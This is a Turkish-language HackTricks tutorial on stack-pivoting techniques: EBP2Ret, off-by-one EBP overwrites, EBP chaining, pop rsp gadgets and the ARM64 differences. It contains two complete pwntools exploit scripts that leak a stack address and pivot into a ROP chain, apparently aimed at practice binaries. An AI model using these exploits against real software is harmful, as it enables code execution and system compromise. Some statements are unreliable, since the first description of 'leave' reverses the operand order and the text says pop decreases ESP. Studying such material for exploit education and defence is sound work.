Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 7 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Bu teknik, Base Pointer (EBP)'yi manipüle etme yeteneğini kullanarak, EBP kaydının dikkatli kullanımı ve leave; ret talimat dizisi aracılığıyla birden fazla işlevin yürütülmesini zincirleme yeteneğini istismar eder.

Hatırlatmak gerekirse, leave temelde şunu ifade eder:

mov       ebp, esp
pop       ebp
ret

Ve EBP yığında EIP'den önce olduğu için, yığını kontrol ederek bunu kontrol etmek mümkündür.

EBP2Ret

Bu teknik, EBP kaydını değiştirebildiğiniz ancak EIP kaydını doğrudan değiştirme yolunuzun olmadığı durumlarda özellikle faydalıdır. Fonksiyonların çalışmayı bitirdiğinde gösterdiği davranışı kullanır.

Eğer fvuln'in çalışması sırasında, yığında shellcode'unuzun adresine işaret eden bir sahte EBP enjekte etmeyi başarırsanız (artı pop işlemi için 4 byte ekleyerek), EIP'yi dolaylı olarak kontrol edebilirsiniz. fvuln döndüğünde, ESP bu hazırlanmış konuma ayarlanır ve sonraki pop işlemi ESP'yi 4 azaltır, etkili bir şekilde orada saldırgan tarafından saklanan bir adrese işaret eder.
2 adresi bilmeniz gerektiğine dikkat edin: ESP'nin gideceği adres ve ESP tarafından işaret edilen adresi yazmanız gereken yer.

Exploit Yapısı

Öncelikle, rastgele veri/adres yazabileceğiniz bir adresi bilmeniz gerekir. ESP buraya işaret edecek ve ilk ret çalıştırılacak.

Sonra, rastgele kodu çalıştıracak ret tarafından kullanılan adresi bilmeniz gerekir. Şunları kullanabilirsiniz:

  • Geçerli bir ONE_GADGET adresi.
  • system() adresi, ardından 4 gereksiz byte ve "/bin/sh" adresi (x86 bitleri).
  • jump esp; gadget'ının adresi (ret2esp) ardından çalıştırılacak shellcode.
  • Bazı ROP zincirleri.

Kontrollü bellek kısmındaki bu adreslerden önce 4 byte bulunması gerektiğini unutmayın, çünkü pop kısmı leave talimatının bir parçasıdır. Bu 4B'yi, ikinci sahte EBP ayarlamak ve yürütmeyi kontrol etmeye devam etmek için kötüye kullanmak mümkündür.

Off-By-One Exploit

Bu tekniğin "Off-By-One Exploit" olarak bilinen özel bir varyantı vardır. EBP'nin en az anlamlı byte'ını yalnızca değiştirebildiğiniz durumlarda kullanılır. Böyle bir durumda, ret ile atlanacak adresi saklayan bellek konumu, EBP ile ilk üç byte'ı paylaşmalıdır, bu da daha kısıtlı koşullarla benzer bir manipülasyona izin verir.
Genellikle, mümkün olduğunca uzağa atlamak için byte 0x00 değiştirilir.

Ayrıca, yığında bir RET sled kullanmak ve gerçek ROP zincirini en sona koymak yaygındır, böylece yeni ESP'nin RET SLED'in içine işaret etmesi ve nihai ROP zincirinin çalıştırılması daha olası hale gelir.

EBP Zincirleme

Bu nedenle, yığın üzerindeki EBP girişine kontrol edilen bir adres koyarak ve EIP'de leave; ret adresi koyarak, ESP'yi yığın üzerindeki kontrol edilen EBP adresine taşımak mümkündür.

Artık, ESP istenen bir adrese işaret ediyor ve yürütülecek bir sonraki talimat bir RET. Bunu kötüye kullanmak için, kontrol edilen ESP yerine şunları yerleştirmek mümkündür:

  • &(next fake EBP) -> leave talimatından pop ebp nedeniyle yeni EBP'yi yükle
  • system() -> ret tarafından çağrılır
  • &(leave;ret) -> sistem sona erdikten sonra çağrılır, ESP'yi sahte EBP'ye taşır ve tekrar başlar
  • &("/bin/sh")-> system için parametre

Temelde bu şekilde, programın akışını kontrol etmek için birkaç sahte EBP'yi zincirlemek mümkündür.

Bu, ret2lib gibidir, ancak görünür bir faydası olmadan daha karmaşıktır, ancak bazı kenar durumlarında ilginç olabilir.

Ayrıca, bu tekniği kullanan bir challenge örneği burada bulunmaktadır ve bir stack leak ile kazanan bir fonksiyonu çağırır. Bu sayfanın son yükü:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP kullanılmayabilir

As explained in this post, eğer bir ikili bazı optimizasyonlarla derlenmişse, EBP asla ESP'yi kontrol edemez, bu nedenle EBP'yi kontrol ederek çalışan herhangi bir istismar temelde başarısız olur çünkü gerçek bir etkisi yoktur.
Bu, prolog ve epilog değişiklikleri ikili optimize edildiğinde gerçekleşir.

  • Optimize edilmemiş:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimize edilmiş:
bash
push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

RSP'yi Kontrol Etmenin Diğer Yolları

pop rsp aracı

Bu sayfada bu tekniği kullanan bir örnek bulabilirsiniz. Bu zorluk için 2 belirli argümanla bir fonksiyon çağrılması gerekiyordu ve bir pop rsp aracı vardı ve stack'ten bir leak vardı:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

ret2esp tekniğini burada kontrol edin:

Ret2esp / Ret2reg

Referanslar ve Diğer Örnekler

ARM64

ARM64'te, fonksiyonların prologları ve epilogları SP kaydını yığında saklamaz ve geri almaz. Dahası, RET komutu SP tarafından işaret edilen adrese dönmez, ancak x30 içindeki adrese döner.

Bu nedenle, varsayılan olarak, sadece epilogu kötüye kullanarak SP kaydını kontrol edemezsiniz yığın içindeki bazı verileri üzerine yazarak. Ve SP'yi kontrol etmeyi başarırsanız bile, x30 kaydını kontrol etmenin bir yoluna ihtiyacınız olacaktır.

  • prolog
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP çerçeve kaydına işaret eder
  • epilog
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

ARM64'te yığın pivotlamaya benzer bir şey gerçekleştirme yolu, SP'yi kontrol edebilmek (SP'ye geçirilen bir kaydı kontrol ederek veya bir nedenle SP'nin adresini yığından alması ve bir taşma yaşanması durumunda) ve ardından epilogu kötüye kullanarak kontrollü bir SP'den x30 kaydını yüklemek ve RET ile ona dönmektir.

Ayrıca, aşağıdaki sayfada Ret2esp'in ARM64'teki eşdeğerini görebilirsiniz:

Ret2esp / Ret2reg

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin